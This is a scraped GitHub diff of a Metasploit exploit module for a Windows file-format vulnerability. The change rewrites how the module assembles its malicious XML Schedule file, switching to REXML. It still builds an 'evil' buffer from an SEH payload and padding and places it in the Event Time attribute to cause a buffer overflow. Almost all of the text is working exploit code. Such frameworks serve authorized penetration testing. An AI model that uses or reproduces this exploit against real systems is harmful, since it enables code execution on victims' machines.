File tree Expand file tree Collapse file tree 1 file changed +16
-4
lines changed
modules/exploits/windows/fileformat Expand file tree Collapse file tree 1 file changed +16
-4
lines changed Original file line number Diff line number Diff line change 4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'rexml/document'
7
8
8
9
class Metasploit3 < Msf ::Exploit ::Remote
9
10
Rank = NormalRanking
10
11
11
12
include Msf ::Exploit ::FILEFORMAT
12
13
include Msf ::Exploit ::Remote ::Seh
14
+ include REXML
13
15
14
16
def initialize ( info = { } )
15
17
super ( update_info ( info ,
@@ -70,10 +72,20 @@ def exploit
70
72
evil << generate_seh_payload ( target . ret )
71
73
evil << rand_text_alpha ( 20000 )
72
74
73
- sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
74
- <Schedule>
75
- <Event Url="" Time="#{ evil } " Folder="" />
76
- </Schedule>|
75
+ xml = Document . new
76
+ xml << XMLDecl . new ( '1.0' , 'UTF-8' )
77
+ xml . add_element ( 'Schedule' , { } )
78
+ xml . elements [ 1 ] . add_element (
79
+ 'Event' ,
80
+ {
81
+ 'Url' => '' ,
82
+ 'Time' => 'EVIL' ,
83
+ 'Folder' => ''
84
+ } )
85
+
86
+ sploit = ''
87
+ xml . write ( sploit , 2 )
88
+ sploit = sploit . gsub ( /EVIL/ , evil )
77
89
78
90
# Create the file
79
91
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
You can’t perform that action at this time.
0 commit comments